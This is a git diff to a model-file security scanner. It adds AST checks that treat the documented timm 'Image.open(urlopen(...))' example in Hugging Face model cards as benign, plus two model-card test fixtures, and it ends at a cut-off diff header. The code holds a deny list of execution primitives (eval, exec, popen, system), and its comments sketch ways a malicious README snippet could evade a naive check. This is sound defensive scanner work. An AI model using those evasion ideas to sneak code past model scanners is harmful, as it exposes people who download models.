diff --git a/CHANGELOG.md b/CHANGELOG.md index a35827d21..8421c2c18 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Bug Fixes +- Avoid false-positive `urllib` network findings for model cards whose only `urlopen` use is the documented `Image.open(urlopen(...))` sample-image example. - Avoid network false positives for bounded README examples that download sample images over HTTPS from Hugging Face. - Prevent Windows cache identity probes from creating locked temporary files inside scanned directories. - Preserve locked Windows cache probes reached through directory aliases while clearing stale scan results. diff --git a/modelaudit/detectors/network_comm.py b/modelaudit/detectors/network_comm.py index d576c6a2d..847ab8740 100644 --- a/modelaudit/detectors/network_comm.py +++ b/modelaudit/detectors/network_comm.py @@ -2338,24 +2338,216 @@ def _is_valid_official_readme_sample_image_example(example: bytes) -> bool: url = bindings[0][1] else: return False - try: - parsed = urlsplit(url) - port = parsed.port - except ValueError: + if not _is_official_huggingface_documented_image_url(url): + return False + return True + + +def _is_official_huggingface_documented_image_url(url: str) -> bool: + """Return whether a URL is a bounded HTTPS fetch of a documented huggingface.co image.""" + try: + parsed = urlsplit(url) + port = parsed.port + except ValueError: + return False + segments = parsed.path.split("/") + return not ( + parsed.scheme != "https" + or parsed.hostname != "huggingface.co" + or parsed.username is not None + or parsed.password is not None + or port is not None + or parsed.netloc.lower() != parsed.hostname + or parsed.fragment + or parsed.query not in {"", "download=true"} + or "resolve" not in segments + or any(segment in {".", ".."} for segment in segments) + or not parsed.path.lower().endswith(_DOCUMENTED_IMAGE_SUFFIXES) + ) + + +@lru_cache(maxsize=1) +def official_readme_urlopen_image_example_spans(data: bytes) -> tuple[tuple[int, int], ...]: + """Return byte spans of Python fences whose only ``urlopen`` use fetches a documented image. + + Model-card generators (notably ``timm``) emit a fixed ``Image.open(urlopen())`` + snippet, so the documented shape is proven structurally instead of by pinning whole-file + digests. Callers use the returned spans to decide whether an individual ``urllib``/``urlopen`` + finding sits inside a proven-inert example. + + Results are memoised for the payload currently being classified, because every candidate + finding in one file re-checks the same spans. + """ + if b"urlopen" not in data: + return () + + spans: list[tuple[int, int]] = [] + cursor = 0 + while opening := _PYTHON_README_FENCE_PATTERN.search(data, cursor): + if len(spans) >= _MAX_README_IMAGE_EXAMPLE_FENCES: + return () + closing = _matching_readme_image_fence_end( + data, + opening, + opening.end(), + min(len(data), opening.end() + _MAX_README_IMAGE_EXAMPLE_BYTES), + ) + if closing is None: + next_cursor = min(len(data), opening.end() + _MAX_README_IMAGE_EXAMPLE_BYTES) + if next_cursor <= cursor: + break + cursor = next_cursor + continue + if _is_official_readme_urlopen_image_example(data[opening.end() : closing.start()]): + spans.append((opening.end(), closing.start())) + cursor = closing.end() + + # A proven fence only speaks for itself. If any urllib reference in the file sits outside a + # proven fence - a second fence, prose, or trailing payload - the whole file stays actionable, + # mirroring how the `requests` example tracks unvalidated references. + # + # Guard on the bare substrings `urllib` and `urlopen` rather than on the specific tokens the + # findings report. The detector emits a single `network_library: urllib` finding per file and + # then retargets it to the earliest urllib token, so a narrower guard lets an unrelated + # `import urllib.request` + `urllib.request.build_opener()` fence inherit the benign example's + # position and be downgraded with it. + if not spans or _tokens_appear_outside_spans(data, (b"urllib", b"urlopen"), spans): + return () + return tuple(spans) + + +def _tokens_appear_outside_spans( + data: bytes, + tokens: tuple[bytes, ...], + spans: list[tuple[int, int]], +) -> bool: + """Return whether any token occurrence falls outside every proven span.""" + for token in tokens: + position = data.find(token) + while position >= 0: + end = position + len(token) + if not any(start <= position and end <= stop for start, stop in spans): + return True + position = data.find(token, end) + return False + + +# Bare-name execution primitives. Attribute access is checked separately and far more narrowly: +# documented model cards legitimately call `model.eval()` (PyTorch eval mode), which has nothing to +# do with the `eval` builtin. +_DOCUMENTED_EXAMPLE_FORBIDDEN_NAMES = frozenset( + { + "__import__", + "compile", + "delattr", + "eval", + "exec", + "getattr", + "globals", + "locals", + "setattr", + "vars", + } +) +_DOCUMENTED_EXAMPLE_FORBIDDEN_ATTRIBUTES = frozenset({"popen", "system"}) + + +def _is_official_readme_urlopen_image_example(example: bytes) -> bool: + """Return whether every ``urlopen`` use in one fence is a documented sample-image fetch.""" + if b"urlopen" not in example or len(example) > _MAX_README_IMAGE_EXAMPLE_BYTES: + return False + try: + tree = ast.parse(example.decode("utf-8")) + except (SyntaxError, UnicodeDecodeError, RecursionError, ValueError): + return False + + nodes: list[ast.AST] = [] + for node in ast.walk(tree): + if len(nodes) >= _MAX_README_IMAGE_EXAMPLE_AST_NODES: + return False + nodes.append(node) + parents = {id(child): parent for parent in nodes for child in ast.iter_child_nodes(parent)} + + imports = [ + node + for node in nodes + if isinstance(node, ast.ImportFrom) and node.level == 0 and node.module == "urllib.request" + ] + if len(imports) != 1 or len(imports[0].names) != 1: + return False + alias = imports[0].names[0] + if alias.name != "urlopen" or alias.asname is not None: + return False + + # `Image` must provably be PIL's. Without this the response sink is only checked by name, so a + # fence can define its own `class Image` whose `open` executes the downloaded bytes and still + # be treated as the documented example. + pil_image_imports = [ + node + for node in nodes + if isinstance(node, ast.ImportFrom) + and node.level == 0 + and node.module == "PIL" + and any(entry.name == "Image" for entry in node.names) + ] + if len(pil_image_imports) != 1 or any( + entry.asname is not None for entry in pil_image_imports[0].names if entry.name == "Image" + ): + return False + + urlopen_calls: list[ast.Call] = [] + for node in nodes: + # Neither `urlopen` nor `Image` may be rebound, shadowed, aliased, or reached via attribute. + if isinstance(node, ast.Attribute) and node.attr == "urlopen": + return False + if isinstance(node, ast.arg) and node.arg in {"urlopen", "Image"}: + return False + if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)) and node.name in { + "urlopen", + "Image", + }: + return False + if isinstance(node, ast.alias) and node.asname == "urlopen" and node is not alias: + return False + if isinstance(node, ast.alias) and node.asname == "Image": + return False + if isinstance(node, ast.Name) and node.id == "Image" and not isinstance(node.ctx, ast.Load): + return False + # Execution primitives inside a fence we are about to call inert. + if isinstance(node, ast.Name) and node.id in _DOCUMENTED_EXAMPLE_FORBIDDEN_NAMES: + return False + if isinstance(node, ast.Attribute) and ( + node.attr in _DOCUMENTED_EXAMPLE_FORBIDDEN_ATTRIBUTES or node.attr.startswith("__") + ): + return False + if not isinstance(node, ast.Name) or node.id != "urlopen": + continue + parent = parents.get(id(node)) + if not isinstance(node.ctx, ast.Load) or not isinstance(parent, ast.Call) or parent.func is not node: + return False + urlopen_calls.append(parent) + if not urlopen_calls: + return False + + for call in urlopen_calls: + if call.keywords or len(call.args) != 1: + return False + argument = call.args[0] + if not isinstance(argument, ast.Constant) or not isinstance(argument.value, str): + return False + if not _is_official_huggingface_documented_image_url(argument.value): return False - segments = parsed.path.split("/") + # The response must flow straight into `Image.open(...)` and nowhere else. + parent = parents.get(id(call)) if ( - parsed.scheme != "https" - or parsed.hostname != "huggingface.co" - or parsed.username is not None - or parsed.password is not None - or port is not None - or parsed.netloc.lower() != parsed.hostname - or parsed.fragment - or parsed.query not in {"", "download=true"} - or "resolve" not in segments - or any(segment in {".", ".."} for segment in segments) - or not parsed.path.lower().endswith(_DOCUMENTED_IMAGE_SUFFIXES) + not isinstance(parent, ast.Call) + or parent.keywords + or len(parent.args) != 1 + or parent.args[0] is not call + or not isinstance(parent.func, ast.Attribute) + or parent.func.attr != "open" + or not isinstance(parent.func.value, ast.Name) + or parent.func.value.id != "Image" ): return False return True diff --git a/modelaudit/scanners/text_scanner.py b/modelaudit/scanners/text_scanner.py index c42acbc09..46f1f1ddc 100644 --- a/modelaudit/scanners/text_scanner.py +++ b/modelaudit/scanners/text_scanner.py @@ -12,7 +12,10 @@ from urllib.parse import parse_qsl, urlsplit, urlunsplit from modelaudit.core_results import mark_operational_scan_error -from modelaudit.detectors.network_comm import redact_url_for_finding +from modelaudit.detectors.network_comm import ( + official_readme_urlopen_image_example_spans, + redact_url_for_finding, +) from modelaudit.detectors.secrets import SecretsDetector from modelaudit.scanner_registry_metadata import TOKENIZER_VOCABULARY_CONTENT_FILENAMES from modelaudit.scanner_results import INCONCLUSIVE_SCAN_OUTCOME, mark_inconclusive_scan_result @@ -44,6 +47,10 @@ "readme.txt", } ) +DOCUMENTATION_IMAGE_EXAMPLE_TOKENS: dict[tuple[str, str], bytes] = { + ("network_function", "urlopen"): b"urlopen", + ("network_library", "urllib"): b"from urllib", +} PASSIVE_NETWORK_FINDING_TYPES = frozenset( { "cloud_storage_url", @@ -2754,12 +2761,54 @@ def _passive_network_reporting_limit( and cls._all_network_candidate_lines_are_bare(payload) ) + @classmethod + def _documentation_image_example_finding( + cls, + path: str, + payload: bytes, + finding: dict[str, Any], + ) -> bool: + """Return whether one ``urllib``/``urlopen`` finding sits inside a documented image example. + + Model-card generators emit a fixed ``Image.open(urlopen())`` + snippet, so the example is proven structurally by + :func:`official_readme_urlopen_image_example_spans`. Findings outside a proven fence, and + every other finding type, stay actionable. + """ + filename = os.path.basename(path).lower() + if os.path.splitext(filename)[1] not in {".md", ".markdown"} or not ( + cls._is_readme_documentation_filename(filename) or cls._is_model_card_documentation_filename(filename) + ): + return False + + finding_type = finding.get("type") + if finding_type == "network_function": + token = DOCUMENTATION_IMAGE_EXAMPLE_TOKENS.get((finding_type, str(finding.get("function")))) + elif finding_type == "network_library" and finding.get("pattern") == "from urllib": + token = DOCUMENTATION_IMAGE_EXAMPLE_TOKENS.get((finding_type, str(finding.get("library")))) + else: + return False + if token is None: + return False + + position = finding.get("position") + if not isinstance(position, int) or position < 0: + return False + end = position + len(token) + if payload[position:end] != token: + return False + return any( + start <= position and end <= stop for start, stop in official_readme_urlopen_image_example_spans(payload) + ) + @classmethod def _sidecar_network_finding_is_informational( cls, path: str, payload: bytes, finding: dict[str, Any], + *, + allow_documentation_image_examples: bool = False, ) -> bool: if cls._is_documentation_sidecar(path): finding_type = finding.get("type") @@ -2782,6 +2831,10 @@ def _sidecar_network_finding_is_informational( ) or (finding_type == "network_library" and cls._documentation_network_library_is_prose(payload, finding)) or (finding_type == "cc_pattern" and cls._documentation_cc_finding_is_benign_prose(payload, finding)) + or ( + allow_documentation_image_examples + and cls._documentation_image_example_finding(path, payload, finding) + ) or ( finding_type == "suspicious_port" and not cls._documentation_finding_is_actionable(payload, finding) ) @@ -3261,6 +3314,8 @@ def _downgrade_sidecar_network_findings( path: str, payload: bytes, findings: list[dict[str, Any]], + *, + allow_documentation_image_examples: bool = False, ) -> tuple[list[dict[str, Any]], bool, set[str]]: classified_findings: list[dict[str, Any]] = [] classification_incomplete = False @@ -3297,7 +3352,12 @@ def _downgrade_sidecar_network_findings( if retargeted_finding is None: continue finding = retargeted_finding - if not retarget_incomplete and cls._sidecar_network_finding_is_informational(path, payload, finding): + if not retarget_incomplete and cls._sidecar_network_finding_is_informational( + path, + payload, + finding, + allow_documentation_image_examples=allow_documentation_image_examples, + ): finding = {**finding, "severity": "INFO"} classified_findings.append(finding) return classified_findings, classification_incomplete, classification_limit_sources @@ -3464,11 +3524,18 @@ def _run_content_security_checks(self, path: str, result: ScanResult, file_size: max_findings=max_findings, ) network_findings, finding_limit = self._split_detector_finding_limit(network_findings) + allow_documentation_image_examples = ( + self._get_bool_config("use_hf_whitelist", default=True) + and not detector_incomplete + and not truncated + and finding_limit is None + ) network_findings, classification_incomplete, classification_limit_sources = ( self._downgrade_sidecar_network_findings( path, inspected_payload, network_findings, + allow_documentation_image_examples=allow_documentation_image_examples, ) ) network_findings = self._deduplicate_documentation_network_findings( diff --git a/tests/assets/huggingface_model_cards/timm_convnext_femto.d1_in1k_README.txt b/tests/assets/huggingface_model_cards/timm_convnext_femto.d1_in1k_README.txt new file mode 100644 index 000000000..0505ec63e --- /dev/null +++ b/tests/assets/huggingface_model_cards/timm_convnext_femto.d1_in1k_README.txt @@ -0,0 +1,198 @@ +--- +license: apache-2.0 +library_name: timm +tags: +- image-classification +- timm +- transformers +datasets: +- imagenet-1k +--- +# Model card for convnext_femto.d1_in1k + +A ConvNeXt image classification model. Trained in `timm` on ImageNet-1k by Ross Wightman. + + +## Model Details +- **Model Type:** Image classification / feature backbone +- **Model Stats:** + - Params (M): 5.2 + - GMACs: 0.8 + - Activations (M): 4.6 + - Image size: train = 224 x 224, test = 288 x 288 +- **Papers:** + - A ConvNet for the 2020s: https://arxiv.org/abs/2201.03545 +- **Original:** https://github.com/huggingface/pytorch-image-models +- **Dataset:** ImageNet-1k + +## Model Usage +### Image Classification +```python +from urllib.request import urlopen +from PIL import Image +import timm + +img = Image.open(urlopen( + 'https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/beignets-task-guide.png' +)) + +model = timm.create_model('convnext_femto.d1_in1k', pretrained=True) +model = model.eval() + +# get model specific transforms (normalization, resize) +data_config = timm.data.resolve_model_data_config(model) +transforms = timm.data.create_transform(**data_config, is_training=False) + +output = model(transforms(img).unsqueeze(0)) # unsqueeze single image into batch of 1 + +top5_probabilities, top5_class_indices = torch.topk(output.softmax(dim=1) * 100, k=5) +``` + +### Feature Map Extraction +```python +from urllib.request import urlopen +from PIL import Image +import timm + +img = Image.open(urlopen( + 'https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/beignets-task-guide.png' +)) + +model = timm.create_model( + 'convnext_femto.d1_in1k', + pretrained=True, + features_only=True, +) +model = model.eval() + +# get model specific transforms (normalization, resize) +data_config = timm.data.resolve_model_data_config(model) +transforms = timm.data.create_transform(**data_config, is_training=False) + +output = model(transforms(img).unsqueeze(0)) # unsqueeze single image into batch of 1 + +for o in output: + # print shape of each feature map in output + # e.g.: + # torch.Size([1, 48, 56, 56]) + # torch.Size([1, 96, 28, 28]) + # torch.Size([1, 192, 14, 14]) + # torch.Size([1, 384, 7, 7]) + + print(o.shape) +``` + +### Image Embeddings +```python +from urllib.request import urlopen +from PIL import Image +import timm + +img = Image.open(urlopen( + 'https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/beignets-task-guide.png' +)) + +model = timm.create_model( + 'convnext_femto.d1_in1k', + pretrained=True, + num_classes=0, # remove classifier nn.Linear +) +model = model.eval() + +# get model specific transforms (normalization, resize) +data_config = timm.data.resolve_model_data_config(model) +transforms = timm.data.create_transform(**data_config, is_training=False) + +output = model(transforms(img).unsqueeze(0)) # output is (batch_size, num_features) shaped tensor + +# or equivalently (without needing to set num_classes=0) + +output = model.forward_features(transforms(img).unsqueeze(0)) +# output is unpooled, a (1, 384, 7, 7) shaped tensor + +output = model.forward_head(output, pre_logits=True) +# output is a (1, num_features) shaped tensor +``` + +## Model Comparison +Explore the dataset and runtime metrics of this model in timm [model results](https://github.com/huggingface/pytorch-image-models/tree/main/results). + +All timing numbers from eager model PyTorch 1.13 on RTX 3090 w/ AMP. + +| model |top1 |top5 |img_size|param_count|gmacs |macts |samples_per_sec|batch_size| +|------------------------------------------------------------------------------------------------------------------------------|------|------|--------|-----------|------|------|---------------|----------| +| [convnextv2_huge.fcmae_ft_in22k_in1k_512](https://huggingface.co/timm/convnextv2_huge.fcmae_ft_in22k_in1k_512) |88.848|98.742|512 |660.29 |600.81|413.07|28.58 |48 | +| [convnextv2_huge.fcmae_ft_in22k_in1k_384](https://huggingface.co/timm/convnextv2_huge.fcmae_ft_in22k_in1k_384) |88.668|98.738|384 |660.29 |337.96|232.35|50.56 |64 | +| [convnext_xxlarge.clip_laion2b_soup_ft_in1k](https://huggingface.co/timm/convnext_xxlarge.clip_laion2b_soup_ft_in1k) |88.612|98.704|256 |846.47 |198.09|124.45|122.45 |256 | +| [convnext_large_mlp.clip_laion2b_soup_ft_in12k_in1k_384](https://huggingface.co/timm/convnext_large_mlp.clip_laion2b_soup_ft_in12k_in1k_384) |88.312|98.578|384 |200.13 |101.11|126.74|196.84 |256 | +| [convnextv2_large.fcmae_ft_in22k_in1k_384](https://huggingface.co/timm/convnextv2_large.fcmae_ft_in22k_in1k_384) |88.196|98.532|384 |197.96 |101.1 |126.74|128.94 |128 | +| [convnext_large_mlp.clip_laion2b_soup_ft_in12k_in1k_320](https://huggingface.co/timm/convnext_large_mlp.clip_laion2b_soup_ft_in12k_in1k_320) |87.968|98.47 |320 |200.13 |70.21 |88.02 |283.42 |256 | +| [convnext_xlarge.fb_in22k_ft_in1k_384](https://huggingface.co/timm/convnext_xlarge.fb_in22k_ft_in1k_384) |87.75 |98.556|384 |350.2 |179.2 |168.99|124.85 |192 | +| [convnextv2_base.fcmae_ft_in22k_in1k_384](https://huggingface.co/timm/convnextv2_base.fcmae_ft_in22k_in1k_384) |87.646|98.422|384 |88.72 |45.21 |84.49 |209.51 |256 | +| [convnext_large.fb_in22k_ft_in1k_384](https://huggingface.co/timm/convnext_large.fb_in22k_ft_in1k_384) |87.476|98.382|384 |197.77 |101.1 |126.74|194.66 |256 | +| [convnext_large_mlp.clip_laion2b_augreg_ft_in1k](https://huggingface.co/timm/convnext_large_mlp.clip_laion2b_augreg_ft_in1k) |87.344|98.218|256 |200.13 |44.94 |56.33 |438.08 |256 | +| [convnextv2_large.fcmae_ft_in22k_in1k](https://huggingface.co/timm/convnextv2_large.fcmae_ft_in22k_in1k) |87.26 |98.248|224 |197.96 |34.4 |43.13 |376.84 |256 | +| [convnext_base.clip_laion2b_augreg_ft_in12k_in1k_384](https://huggingface.co/timm/convnext_base.clip_laion2b_augreg_ft_in12k_in1k_384) |87.138|98.212|384 |88.59 |45.21 |84.49 |365.47 |256 | +| [convnext_xlarge.fb_in22k_ft_in1k](https://huggingface.co/timm/convnext_xlarge.fb_in22k_ft_in1k) |87.002|98.208|224 |350.2 |60.98 |57.5 |368.01 |256 | +| [convnext_base.fb_in22k_ft_in1k_384](https://huggingface.co/timm/convnext_base.fb_in22k_ft_in1k_384) |86.796|98.264|384 |88.59 |45.21 |84.49 |366.54 |256 | +| [convnextv2_base.fcmae_ft_in22k_in1k](https://huggingface.co/timm/convnextv2_base.fcmae_ft_in22k_in1k) |86.74 |98.022|224 |88.72 |15.38 |28.75 |624.23 |256 | +| [convnext_large.fb_in22k_ft_in1k](https://huggingface.co/timm/convnext_large.fb_in22k_ft_in1k) |86.636|98.028|224 |197.77 |34.4 |43.13 |581.43 |256 | +| [convnext_base.clip_laiona_augreg_ft_in1k_384](https://huggingface.co/timm/convnext_base.clip_laiona_augreg_ft_in1k_384) |86.504|97.97 |384 |88.59 |45.21 |84.49 |368.14 |256 | +| [convnext_base.clip_laion2b_augreg_ft_in12k_in1k](https://huggingface.co/timm/convnext_base.clip_laion2b_augreg_ft_in12k_in1k) |86.344|97.97 |256 |88.59 |20.09 |37.55 |816.14 |256 | +| [convnextv2_huge.fcmae_ft_in1k](https://huggingface.co/timm/convnextv2_huge.fcmae_ft_in1k) |86.256|97.75 |224 |660.29 |115.0 |79.07 |154.72 |256 | +| [convnext_small.in12k_ft_in1k_384](https://huggingface.co/timm/convnext_small.in12k_ft_in1k_384) |86.182|97.92 |384 |50.22 |25.58 |63.37 |516.19 |256 | +| [convnext_base.clip_laion2b_augreg_ft_in1k](https://huggingface.co/timm/convnext_base.clip_laion2b_augreg_ft_in1k) |86.154|97.68 |256 |88.59 |20.09 |37.55 |819.86 |256 | +| [convnext_base.fb_in22k_ft_in1k](https://huggingface.co/timm/convnext_base.fb_in22k_ft_in1k) |85.822|97.866|224 |88.59 |15.38 |28.75 |1037.66 |256 | +| [convnext_small.fb_in22k_ft_in1k_384](https://huggingface.co/timm/convnext_small.fb_in22k_ft_in1k_384) |85.778|97.886|384 |50.22 |25.58 |63.37 |518.95 |256 | +| [convnextv2_large.fcmae_ft_in1k](https://huggingface.co/timm/convnextv2_large.fcmae_ft_in1k) |85.742|97.584|224 |197.96 |34.4 |43.13 |375.23 |256 | +| [convnext_small.in12k_ft_in1k](https://huggingface.co/timm/convnext_small.in12k_ft_in1k) |85.174|97.506|224 |50.22 |8.71 |21.56 |1474.31 |256 | +| [convnext_tiny.in12k_ft_in1k_384](https://huggingface.co/timm/convnext_tiny.in12k_ft_in1k_384) |85.118|97.608|384 |28.59 |13.14 |39.48 |856.76 |256 | +| [convnextv2_tiny.fcmae_ft_in22k_in1k_384](https://huggingface.co/timm/convnextv2_tiny.fcmae_ft_in22k_in1k_384) |85.112|97.63 |384 |28.64 |13.14 |39.48 |491.32 |256 | +| [convnextv2_base.fcmae_ft_in1k](https://huggingface.co/timm/convnextv2_base.fcmae_ft_in1k) |84.874|97.09 |224 |88.72 |15.38 |28.75 |625.33 |256 | +| [convnext_small.fb_in22k_ft_in1k](https://huggingface.co/timm/convnext_small.fb_in22k_ft_in1k) |84.562|97.394|224 |50.22 |8.71 |21.56 |1478.29 |256 | +| [convnext_large.fb_in1k](https://huggingface.co/timm/convnext_large.fb_in1k) |84.282|96.892|224 |197.77 |34.4 |43.13 |584.28 |256 | +| [convnext_tiny.in12k_ft_in1k](https://huggingface.co/timm/convnext_tiny.in12k_ft_in1k) |84.186|97.124|224 |28.59 |4.47 |13.44 |2433.7 |256 | +| [convnext_tiny.fb_in22k_ft_in1k_384](https://huggingface.co/timm/convnext_tiny.fb_in22k_ft_in1k_384) |84.084|97.14 |384 |28.59 |13.14 |39.48 |862.95 |256 | +| [convnextv2_tiny.fcmae_ft_in22k_in1k](https://huggingface.co/timm/convnextv2_tiny.fcmae_ft_in22k_in1k) |83.894|96.964|224 |28.64 |4.47 |13.44 |1452.72 |256 | +| [convnext_base.fb_in1k](https://huggingface.co/timm/convnext_base.fb_in1k) |83.82 |96.746|224 |88.59 |15.38 |28.75 |1054.0 |256 | +| [convnextv2_nano.fcmae_ft_in22k_in1k_384](https://huggingface.co/timm/convnextv2_nano.fcmae_ft_in22k_in1k_384) |83.37 |96.742|384 |15.62 |7.22 |24.61 |801.72 |256 | +| [convnext_small.fb_in1k](https://huggingface.co/timm/convnext_small.fb_in1k) |83.142|96.434|224 |50.22 |8.71 |21.56 |1464.0 |256 | +| [convnextv2_tiny.fcmae_ft_in1k](https://huggingface.co/timm/convnextv2_tiny.fcmae_ft_in1k) |82.92 |96.284|224 |28.64 |4.47 |13.44 |1425.62 |256 | +| [convnext_tiny.fb_in22k_ft_in1k](https://huggingface.co/timm/convnext_tiny.fb_in22k_ft_in1k) |82.898|96.616|224 |28.59 |4.47 |13.44 |2480.88 |256 | +| [convnext_nano.in12k_ft_in1k](https://huggingface.co/timm/convnext_nano.in12k_ft_in1k) |82.282|96.344|224 |15.59 |2.46 |8.37 |3926.52 |256 | +| [convnext_tiny_hnf.a2h_in1k](https://huggingface.co/timm/convnext_tiny_hnf.a2h_in1k) |82.216|95.852|224 |28.59 |4.47 |13.44 |2529.75 |256 | +| [convnext_tiny.fb_in1k](https://huggingface.co/timm/convnext_tiny.fb_in1k) |82.066|95.854|224 |28.59 |4.47 |13.44 |2346.26 |256 | +| [convnextv2_nano.fcmae_ft_in22k_in1k](https://huggingface.co/timm/convnextv2_nano.fcmae_ft_in22k_in1k) |82.03 |96.166|224 |15.62 |2.46 |8.37 |2300.18 |256 | +| [convnextv2_nano.fcmae_ft_in1k](https://huggingface.co/timm/convnextv2_nano.fcmae_ft_in1k) |81.83 |95.738|224 |15.62 |2.46 |8.37 |2321.48 |256 | +| [convnext_nano_ols.d1h_in1k](https://huggingface.co/timm/convnext_nano_ols.d1h_in1k) |80.866|95.246|224 |15.65 |2.65 |9.38 |3523.85 |256 | +| [convnext_nano.d1h_in1k](https://huggingface.co/timm/convnext_nano.d1h_in1k) |80.768|95.334|224 |15.59 |2.46 |8.37 |3915.58 |256 | +| [convnextv2_pico.fcmae_ft_in1k](https://huggingface.co/timm/convnextv2_pico.fcmae_ft_in1k) |80.304|95.072|224 |9.07 |1.37 |6.1 |3274.57 |256 | +| [convnext_pico.d1_in1k](https://huggingface.co/timm/convnext_pico.d1_in1k) |79.526|94.558|224 |9.05 |1.37 |6.1 |5686.88 |256 | +| [convnext_pico_ols.d1_in1k](https://huggingface.co/timm/convnext_pico_ols.d1_in1k) |79.522|94.692|224 |9.06 |1.43 |6.5 |5422.46 |256 | +| [convnextv2_femto.fcmae_ft_in1k](https://huggingface.co/timm/convnextv2_femto.fcmae_ft_in1k) |78.488|93.98 |224 |5.23 |0.79 |4.57 |4264.2 |256 | +| [convnext_femto_ols.d1_in1k](https://huggingface.co/timm/convnext_femto_ols.d1_in1k) |77.86 |93.83 |224 |5.23 |0.82 |4.87 |6910.6 |256 | +| [convnext_femto.d1_in1k](https://huggingface.co/timm/convnext_femto.d1_in1k) |77.454|93.68 |224 |5.22 |0.79 |4.57 |7189.92 |256 | +| [convnextv2_atto.fcmae_ft_in1k](https://huggingface.co/timm/convnextv2_atto.fcmae_ft_in1k) |76.664|93.044|224 |3.71 |0.55 |3.81 |4728.91 |256 | +| [convnext_atto_ols.a2_in1k](https://huggingface.co/timm/convnext_atto_ols.a2_in1k) |75.88 |92.846|224 |3.7 |0.58 |4.11 |7963.16 |256 | +| [convnext_atto.d2_in1k](https://huggingface.co/timm/convnext_atto.d2_in1k) |75.664|92.9 |224 |3.7 |0.55 |3.81 |8439.22 |256 | + +## Citation +```bibtex +@misc{rw2019timm, + author = {Ross Wightman}, + title = {PyTorch Image Models}, + year = {2019}, + publisher = {GitHub}, + journal = {GitHub repository}, + doi = {10.5281/zenodo.4414861}, + howpublished = {\url{https://github.com/huggingface/pytorch-image-models}} +} +``` +```bibtex +@article{liu2022convnet, + author = {Zhuang Liu and Hanzi Mao and Chao-Yuan Wu and Christoph Feichtenhofer and Trevor Darrell and Saining Xie}, + title = {A ConvNet for the 2020s}, + journal = {Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition (CVPR)}, + year = {2022}, +} +``` diff --git a/tests/assets/huggingface_model_cards/timm_mobilenetv3_small_100.lamb_in1k_README.txt b/tests/assets/huggingface_model_cards/timm_mobilenetv3_small_100.lamb_in1k_README.txt new file mode 100644 index 000000000..c033a7382 --- /dev/null +++ b/tests/assets/huggingface_model_cards/timm_mobilenetv3_small_100.lamb_in1k_README.txt @@ -0,0 +1,145 @@ +--- +tags: +- image-classification +- timm +- transformers +library_name: timm +license: apache-2.0 +datasets: +- imagenet-1k +--- +# Model card for mobilenetv3_small_100.lamb_in1k + +A MobileNet-v3 image classification model. Trained on ImageNet-1k in `timm` using recipe template described below. + +Recipe details: + * A LAMB optimizer based recipe that is similar to [ResNet Strikes Back](https://arxiv.org/abs/2110.00476) `A2` but 50% longer with EMA weight averaging, no CutMix + * Step (exponential decay w/ staircase) LR schedule with warmup + + +## Model Details +- **Model Type:** Image classification / feature backbone +- **Model Stats:** + - Params (M): 2.5 + - GMACs: 0.1 + - Activations (M): 1.4 + - Image size: 224 x 224 +- **Papers:** + - Searching for MobileNetV3: https://arxiv.org/abs/1905.02244 +- **Dataset:** ImageNet-1k +- **Original:** https://github.com/huggingface/pytorch-image-models + +## Model Usage +### Image Classification +```python +from urllib.request import urlopen +from PIL import Image +import timm + +img = Image.open(urlopen( + 'https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/beignets-task-guide.png' +)) + +model = timm.create_model('mobilenetv3_small_100.lamb_in1k', pretrained=True) +model = model.eval() + +# get model specific transforms (normalization, resize) +data_config = timm.data.resolve_model_data_config(model) +transforms = timm.data.create_transform(**data_config, is_training=False) + +output = model(transforms(img).unsqueeze(0)) # unsqueeze single image into batch of 1 + +top5_probabilities, top5_class_indices = torch.topk(output.softmax(dim=1) * 100, k=5) +``` + +### Feature Map Extraction +```python +from urllib.request import urlopen +from PIL import Image +import timm + +img = Image.open(urlopen( + 'https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/beignets-task-guide.png' +)) + +model = timm.create_model( + 'mobilenetv3_small_100.lamb_in1k', + pretrained=True, + features_only=True, +) +model = model.eval() + +# get model specific transforms (normalization, resize) +data_config = timm.data.resolve_model_data_config(model) +transforms = timm.data.create_transform(**data_config, is_training=False) + +output = model(transforms(img).unsqueeze(0)) # unsqueeze single image into batch of 1 + +for o in output: + # print shape of each feature map in output + # e.g.: + # torch.Size([1, 16, 112, 112]) + # torch.Size([1, 16, 56, 56]) + # torch.Size([1, 24, 28, 28]) + # torch.Size([1, 48, 14, 14]) + # torch.Size([1, 576, 7, 7]) + + print(o.shape) +``` + +### Image Embeddings +```python +from urllib.request import urlopen +from PIL import Image +import timm + +img = Image.open(urlopen( + 'https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/beignets-task-guide.png' +)) + +model = timm.create_model( + 'mobilenetv3_small_100.lamb_in1k', + pretrained=True, + num_classes=0, # remove classifier nn.Linear +) +model = model.eval() + +# get model specific transforms (normalization, resize) +data_config = timm.data.resolve_model_data_config(model) +transforms = timm.data.create_transform(**data_config, is_training=False) + +output = model(transforms(img).unsqueeze(0)) # output is (batch_size, num_features) shaped tensor + +# or equivalently (without needing to set num_classes=0) + +output = model.forward_features(transforms(img).unsqueeze(0)) +# output is unpooled, a (1, 576, 7, 7) shaped tensor + +output = model.forward_head(output, pre_logits=True) +# output is a (1, num_features) shaped tensor +``` + +## Model Comparison +Explore the dataset and runtime metrics of this model in timm [model results](https://github.com/huggingface/pytorch-image-models/tree/main/results). + +## Citation +```bibtex +@misc{rw2019timm, + author = {Ross Wightman}, + title = {PyTorch Image Models}, + year = {2019}, + publisher = {GitHub}, + journal = {GitHub repository}, + doi = {10.5281/zenodo.4414861}, + howpublished = {\url{https://github.com/huggingface/pytorch-image-models}} +} +``` +```bibtex +@inproceedings{howard2019searching, + title={Searching for mobilenetv3}, + author={Howard, Andrew and Sandler, Mark and Chu, Grace and Chen, Liang-Chieh and Chen, Bo and Tan, Mingxing and Wang, Weijun and Zhu, Yukun and Pang, Ruoming and Vasudevan, Vijay and others}, + booktitle={Proceedings of the IEEE/CVF international conference on computer vision}, + pages={1314--1324}, + year={2019} +} +``` diff --git 